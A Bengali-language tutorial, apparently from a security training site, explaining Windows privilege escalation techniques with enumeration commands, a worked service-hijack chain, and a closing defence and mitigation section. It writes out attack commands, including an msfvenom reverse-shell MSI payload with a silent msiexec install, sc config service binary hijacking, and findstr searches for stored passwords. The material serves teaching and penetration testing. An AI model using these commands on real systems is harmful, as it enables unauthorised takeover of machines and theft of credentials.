Windows PrivEsc: সাধারণ ইউজার অ্যাকাউন্ট থেকে সিস্টেমের দুর্বলতা কাজে লাগিয়ে উইন্ডোজ অ্যাডমিনিস্ট্রেটর হওয়ার জাদুকরী সাইবার প্রিভিলেজ এস্কেলেশন!
Windows Privilege Escalation-এর কৌশল, সাধারণ মিসকনফিগারেশন এবং ব্যবহারিক exploitation পদ্ধতির গভীর গাইড।
Penetration Testing এবং Red Team অপারেশনে Initial Access অর্জন করা শুধু যাত্রার প্রথম ধাপ। প্রকৃত শক্তি আসে যখন একজন আক্রমণকারী একটি সাধারণ ব্যবহারকারী অ্যাকাউন্ট থেকে SYSTEM বা Administrator-এ উন্নীত হতে পারে। Windows Privilege Escalation হলো সেই কৌশলের সমষ্টি যা সিস্টেমের ভুল কনফিগারেশন, পুরনো সফটওয়্যার এবং সূক্ষ্ম স্থাপত্য দুর্বলতা কাজে লাগিয়ে এই উল্লম্ব আন্দোলন সম্ভব করে।
Privilege Escalation-এর শ্রেণীবিভাগ
Privilege Escalation-কে প্রধানত দুটি বিভাগে ভাগ করা হয়। Horizontal Privilege Escalation-এ আক্রমণকারী একই বিশেষাধিকার স্তরে অন্য ব্যবহারকারীর অ্যাক্সেস পায় — যেমন একজন সাধারণ ব্যবহারকারী হিসেবে অন্য একজন সাধারণ ব্যবহারকারীর ফাইলে পৌঁছানো। Vertical Privilege Escalation-এ আক্রমণকারী উচ্চতর বিশেষাধিকার স্তরে উন্নীত হয় — যেমন standard user থেকে Administrator বা SYSTEM-এ।
Windows-এ সর্বোচ্চ বিশেষাধিকার অ্যাকাউন্ট হলো NT AUTHORITY\SYSTEM, যা এমনকি Administrator-এর চেয়েও বেশি ক্ষমতা রাখে। SYSTEM অ্যাক্সেস দিয়ে আপনি Memory Forensics-এ যেকোনো প্রসেস থেকে credentials এক্সট্র্যাক্ট করতে পারেন, Registry-এর সংরক্ষিত অংশ পড়তে পারেন এবং সিস্টেমের সম্পূর্ণ নিয়ন্ত্রণ নিতে পারেন।
এনিউমারেশন: সফলতার চাবিকাঠি
Privilege Escalation-এর প্রায় ৮০ শতাংশ কাজ হলো এনিউমারেশন। সিস্টেমে কী চলছে, কোন সার্ভিস কীভাবে কনফিগার করা আছে, কোন প্যাচ স্থাপন করা হয়নি — এই তথ্য সংগ্রহ ছাড়া কার্যকর exploitation অসম্ভব।
স্বয়ংক্রিয় এনিউমারেশন সরঞ্জামের মধ্যে WinPEAS (Windows Privilege Escalation Awesome Script) সবচেয়ে জনপ্রিয়। এটি একটি ব্যাটচ এবং একটি এক্সিকিউটেবল উভয় সংস্করণে পাওয়া যায় এবং রঙিন আউটপুটে সম্ভাব্য escalation পথ হাইলাইট করে। PowerUp.ps1 PowerShell ভিত্তিক একটি বিকল্প যা PowerSploit framework-এর অংশ। Seatbelt একটি C# সরঞ্জাম যা ব্যাপক সিস্টেম তথ্য সংগ্রহ করে।
ম্যানুয়াল এনিউমারেশনের জন্য কিছু গুরুত্বপূর্ণ কমান্ড:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
whoami /priv
whoami /groups
net users
net localgroup administrators
wmic qfe list
systeminfo-এর আউটপুট windows-exploit-suggester বা wesng-এর মতো সরঞ্জামে ফিড করে পরিচিত kernel exploit-এর তালিকা পাওয়া যায়।
টোকেন বিশেষাধিকার এবং প্রতারণা
Windows-এ প্রতিটি প্রসেসের একটি Access Token থাকে যা এর নিরাপত্তা প্রসঙ্গ সংজ্ঞায়িত করে। কিছু বিশেষাধিকার অত্যন্ত শক্তিশালী এবং কার্যত SYSTEM-সমতুল্য অ্যাক্সেস প্রদান করে:
SeImpersonatePrivilege — অন্য একজন ক্লায়েন্টের নিরাপত্তা প্রসঙ্গ ব্যবহার করে অপারেশন সম্পাদন করার অনুমতি দেয়। এটি বিশেষ করে IIS, SQL Server এবং অন্যান্য সার্ভিসে চলা প্রসেসগুলোর জন্য বরাদ্দ থাকে। PrintSpoofer, RoguePotato এবং SweetPotato-এর মতো exploits এই বিশেষাধিকার অপব্যবহার করে SYSTEM পর্যন্ত escalation সম্ভব করে।
SeAssignPrimaryTokenPrivilege — কোনো প্রসেসে primary token অ্যাসাইন করার ক্ষমতা।
SeBackupPrivilege এবং SeRestorePrivilege — ব্যাকআপ অপারেশনের জন্য ডিজাইন করা হলেও এই বিশেষাধিকার দিয়ে SAM এবং SYSTEM Registry hives পড়া যায়, যেখান থেকে পাসওয়ার্ড হ্যাশ এক্সট্র্যাক্ট করা যায়।
SeDebugPrivilege — যেকোনো প্রসেস ডিবাগ করার ক্ষমতা, যা মেমরি থেকে credentials এক্সট্র্যাক্ট করতে ব্যবহৃত হয়।
SeTakeOwnershipPrivilege — যেকোনো অবজেক্টের মালিকানা নেওয়ার ক্ষমতা।
whoami /priv কমান্ড দিয়ে বর্তমান বিশেষাধিকারগুলো দেখা যায়। যদি এর কোনোটি "Enabled" অবস্থায় থাকে, escalation পথ প্রায় নিশ্চিত।
Service-Based Escalation
সার্ভিসগুলো প্রায়ই Privilege Escalation-এর সমৃদ্ধ ক্ষেত্র। কয়েকটি সাধারণ দুর্বলতা প্যাটার্ন:
Unquoted Service Path — যখন একটি সার্ভিস এক্সিকিউটেবলের পাথে স্পেস থাকে কিন্তু পাথটি উদ্ধৃতি চিহ্নে আবদ্ধ নয়। উদাহরণস্বরূপ, যদি একটি সার্ভিস C:\Program Files\My Service\service.exe পথ ব্যবহার করে এবং উদ্ধৃতি চিহ্ন ছাড়া থাকে, Windows প্রথমে C:\Program.exe, তারপর C:\Program Files\My.exe সম্পাদন করার চেষ্টা করবে। যদি আক্রমণকারী এই অবস্থানগুলোর কোনোটিতে লেখার অধিকার পায়, তারা ম্যালিশিয়াস পেলোড স্থাপন করতে পারে।
Weak Service Permissions — যদি একটি সার্ভিসের কনফিগারেশন পরিবর্তনের অনুমতি একজন সাধারণ ব্যবহারকারীর কাছে থাকে, তিনি সার্ভিস বাইনারির পথ পরিবর্তন করে নিজের পছন্দের এক্সিকিউটেবল চালু করতে পারেন:
sc config <service_name> binpath= "C:\Users\attacker\evil.exe"
sc start <service_name>
accesschk.exe সরঞ্жам (SysInternals) দিয়ে সার্ভিস অনুমতি পরীক্ষা করা যায়:
accesschk.exe -uwcqv "Authenticated Users" *
Weak File Permissions on Service Binary — যদি সার্ভিস বাইনারি বা তার সাথে সংযুক্ত DLL-গুলোর উপর লেখার অনুমতি থাকে, আক্রমণকারী সেই ফাইল প্রতিস্থাপন করতে পারে।
DLL Hijacking এবং Search Order
Windows যখন একটি DLL লোড করে, এটি একটি নির্দিষ্ট অনুসন্ধান ক্রম অনুসরণ করে। যদি একটি অ্যাপ্লিকেশন একটি DLL অস্পষ্ট নামে লোড করতে চায় এবং সেই DLL সিস্টেম পাথে না থাকে, Windows বর্তমান ডিরেক্টরি, PATH পরিবেশ পরিবর্তনশীলে নির্দিষ্ট ডিরেক্টরি ইত্যাদিতে খোঁজে।
আক্রমণকারীরা এই আচরণ কাজে লাগিয়ে অ্যাপ্লিকেশন-নির্দিষ্ট ফোল্ডারে ম্যালিশিয়াস DLL স্থাপন করতে পারে। বিশেষ করে যদি অ্যাপ্লিকেশনটি SYSTEM হিসেবে চলে এবং একটি অপ্রতিরক্ষিত ফোল্ডার থেকে DLL লোড করে, escalation পথ স্পষ্ট।
Process Monitor (procmon.exe) দিয়ে "NAME NOT FOUND" ফলাফল ফিল্টার করে অনুপস্থিত DLL সনাক্ত করা যায়।
AlwaysInstallElevated
এটি একটি Group Policy সেটিং যা MSI ইনস্টলার ফাইলগুলোকে উচ্চতর বিশেষাধিকারে চালানোর অনুমতি দেয়। যদি HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated এবং HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated উভয়ই 1 সেট থাকে, যেকোনো ব্যবহারকারী SYSTEM হিসেবে MSI ইনস্টল করতে পারে।
পরীক্ষার কমান্ড:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
যদি সক্রিয় থাকে, msfvenom দিয়ে একটি ম্যালিশিয়াস MSI তৈরি করে চালানো যায়:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi
Saved Credentials এবং Credential Manager
Windows বিভিন্ন স্থানে credentials সংরক্ষণ করে। cmdkey /list দিয়ে সংরক্ষিত credentials দেখা যায়। কখনো কখনো প্রশাসকরা প্রশাসনিক অ্যাকাউন্টের credentials সংরক্ষণ করেন কোনো বিশেষ কাজের জন্য, এবং সেগুলো runas /savecred দিয়ে পুনরায় ব্যবহার করা যায়।
PowerShell credentials প্রায়ই কনফিগারেশন ফাইল, স্ক্রিপ্ট, বা unattend.xml-এ পাওয়া যায়। নিম্নলিখিত কমান্ডগুলো দিয়ে সম্ভাব্য credentials খোঁজা যায়:
findstr /si password *.txt *.xml *.config *.ini
dir C:\unattend.xml C:\Windows\Panther\Unattend.xml C:\Windows\Panther\Unattended.xml
সংরক্ষিত PuTTY সেশনে কখনো কখনো private keys বা passwords থাকে। ব্রাউজার সংরক্ষিত পাসওয়ার্ডও একটি সমৃদ্ধ উৎস — বিশেষ করে যদি ব্যবহারকারী একই পাসওয়ার্ড বিভিন্ন সেবার জন্য ব্যবহার করেন।
Kernel Exploitation
যখন user-space কৌশল ব্যর্থ হয়, kernel exploitation চূড়ান্ত বিকল্প। systeminfo-এর আউটপুট থেকে OS সংস্করণ এবং প্যাচ স্তর নির্ধারণ করে exploit-suggester-এর মাধ্যমে প্রার্থী exploit-এর তালিকা পাওয়া যায়।
কিছু ঐতিহাসিক গুরুত্বপূর্ণ Windows kernel exploits:
- MS17-010 (EternalBlue) — SMBv1-এ Buffer Overflow
- MS16-032 (Secondary Logon Handle Privilege Escalation)
- CVE-2021-1675 (PrintNightmare) — Print Spooler দুর্বলতা
- CVE-2022-21882 (Win32k Elevation) — Windows 10/11-এ দীর্ঘ সময় কাজ করেছিল
PrintNightmare বিশেষভাবে উল্লেখযোগ্য কারণ এটি লক্ষ লক্ষ সিস্টেমকে প্রভাবিত করেছিল এবং একটি সাধারণ ব্যবহারকারী থেকে SYSTEM-এ এক ধাপে escalation প্রদান করত। Print Spooler সার্ভিস ডিফল্টভাবে চলত এবং দূরবর্তীভাবে এক্সপ্লয়েট করা যেত।
UAC Bypass
User Account Control (UAC) যদি Always Notify-এর চেয়ে কম সেটিংয়ে কনফিগার করা থাকে, বিভিন্ন bypass কৌশল কাজ করে। কয়েকটি জনপ্রিয় পদ্ধতি:
Fodhelper.exe — Windows-এর একটি অটো-এলিভেটেড বাইনারি যা Registry-এ একটি নির্দিষ্ট কী পরীক্ষা করে এবং সেখানে সংরক্ষিত কমান্ড উচ্চতর বিশেষাধিকারে চালায়।
Computerdefaults.exe, Eventvwr.exe এবং অনুরূপ অটো-এলিভেটেড বাইনারিগুলোও অনুরূপ পদ্ধতি ব্যবহার করে।
DLL Hijacking — কিছু অটো-এলিভেটেড অ্যাপ্লিকেশন user-writable ফোল্ডার থেকে DLL লোড করে।
UACMe প্রকল্প একটি বিস্তৃত সংগ্রহ যা প্রায় ৭০টি UAC bypass কৌশল ডকুমেন্ট করে।
Active Directory পরিবেশে Escalation
ডোমেইন-যুক্ত সিস্টেমে অতিরিক্ত escalation সুযোগ থাকে। Kerberoasting আক্রমণে আক্রমণকারী Service Principal Name (SPN) সহ অ্যাকাউন্টগুলোর জন্য TGS টিকিট অনুরোধ করে, যা সার্ভিস অ্যাকাউন্টের NTLM হ্যাশ দিয়ে এনক্রিপ্ট থাকে। অফলাইনে এই টিকিট ক্র্যাক করে অ্যাকাউন্টের পাসওয়ার্ড পাওয়া যায়।
AS-REP Roasting অনুরূপ কিন্তু লক্ষ্য সেই অ্যাকাউন্টগুলো যাদের "Do not require Kerberos preauthentication" সেট করা আছে।
BloodHound হলো Active Directory এনিউমারেশনের অপরিহার্য সরঞ্জাম। এটি একটি গ্রাফ ডাটাবেস ব্যবহার করে ডোমেইন অবজেক্টগুলোর মধ্যে সম্পর্ক ভিজ্যুয়ালাইজ করে এবং একটি সাধারণ ব্যবহারকারী থেকে Domain Admin পর্যন্ত শর্টেস্ট পাথ খুঁজে দেয়।
বাস্তব উদাহরণ: একটি সম্পূর্ণ Escalation চেইন
ধরা যাক একজন pentester একটি phishing-এর মাধ্যমে initial access পেয়েছেন একজন low-privilege ব্যবহারকারী হিসেবে। প্রথমে তিনি WinPEAS চালান এবং দেখেন একটি সার্ভিস "VulnApp" weak permissions নিয়ে চলছে SYSTEM হিসেবে।
accesschk দিয়ে নিশ্চিত করেন:
accesschk.exe -uwcqv user "VulnApp"
আউটপুট দেখায় "Authenticated Users" গ্রুপের SERVICE_CHANGE_CONFIG অনুমতি আছে। তিনি একটি reverse shell payload তৈরি করেন এবং সার্ভিস কনফিগ পরিবর্তন করেন:
sc config VulnApp binpath= "C:\temp\reverse.exe"
sc stop VulnApp
sc start VulnApp
কয়েক সেকেন্ডের মধ্যে SYSTEM শেল ফিরে আসে। এখানে এনিউমারেশন থেকে সফল exploitation পর্যন্ত পুরো প্রক্রিয়াটি মিনিটের ব্যাপার।
প্রতিরোধ ও প্রতিকার
Defender হিসেবে Privilege Escalation প্রতিরোধে নিম্নলিখিত পদক্ষেপ গুরুত্বপূর্ণ:
নিয়মিত প্যাচিং। অধিকাংশ kernel exploit পুরনো প্যাচ না করা সিস্টেমে সফল হয়।
Service permissions নিরীক্ষা করুন। কোনো অ-প্রশাসনিক ব্যবহারকারীর কাছে service modification অনুমতি থাকা উচিত নয়।
Unquoted Service Path সমস্যা সমাধান করুন। সব সার্ভিস কনফিগারেশনে যথাযথ উদ্ধৃতি ব্যবহার করুন।
AlwaysInstallElevated কখনো সক্ষম রাখবেন না।
UAC সর্বদা "Always Notify" তে সেট করুন গুরুত্বপূর্ণ সিস্টেমে।
Local Administrator Password Solution (LAPS) ব্যবহার করুন যাতে প্রতিটি কম্পিউটারের local administrator পাসওয়ার্ড অনন্য এবং কেন্দ্রীয়ভাবে পরিচালিত হয়।
Credential Guard সক্ষম করুন।
PowerShell Constrained Language Mode এবং AppLocker দিয়ে স্ক্রিপ্টিং সীমাবদ্ধ করুন।
নিয়মিত SeImpersonatePrivilege এবং অন্যান্য বিপজ্জনক বিশেষাধিকার নিরীক্ষা করুন।
EDR সমাধান মোতায়েন করুন যা সাধারণ escalation প্যাটার্ন সনাক্ত করতে পারে।
Windows Privilege Escalation একটি বহুস্তর, বহুমাত্রিক শৃঙ্খলা যা সিস্টেমের প্রতিটি কোণার সূক্ষ্ম জ্ঞান দাবি করে। সফল Penetration Tester-রা শুধু পরিচিত exploit চালান না, বরং সিস্টেমের অনন্য কনফিগারেশন বুঝে সৃজনশীল পথ খুঁজে বের করেন। আক্রমণকারী এবং প্রতিরক্ষাকারী উভয়ের জন্যই এই কৌশলগুলোর গভীর বোঝাপড়া অপরিহার্য। প্রতিটি দুর্বলতা প্যাচ এবং প্রতিটি ভুল কনফিগারেশন সংশোধন escalation-এর একটি পথ বন্ধ করে। তবে কোনো সিস্টেমই নিখুঁত নয়, এবং নিরন্তর সতর্কতা, পর্যবেক্ষণ এবং পরীক্ষাই হলো প্রকৃত প্রতিরক্ষা।
আপনার জ্ঞান যাচাই করতে প্রস্তুত? আজই HackCert-এ Windows Privilege Escalation MCQ Quiz-টি দিন!

